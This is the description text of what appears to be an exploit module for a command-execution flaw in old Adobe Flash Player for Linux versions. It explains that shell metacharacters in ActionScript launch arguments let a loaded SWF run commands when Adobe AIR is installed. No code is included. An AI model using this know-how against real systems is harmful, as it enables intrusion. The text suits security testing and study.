					This module exploits a vulnerability in Adobe Flash Player for Linux,
					version  10.0.12.36 and 9.0.151.0 and prior.
					An input validation vulnerability allows command execution when the browser
					loads a SWF file which contains shell metacharacters in the arguments to
					the ActionScript launch method.

					The victim must have Adobe AIR installed for the exploit to work. This module
					was tested against version 10.0.12.36 (10r12_36).
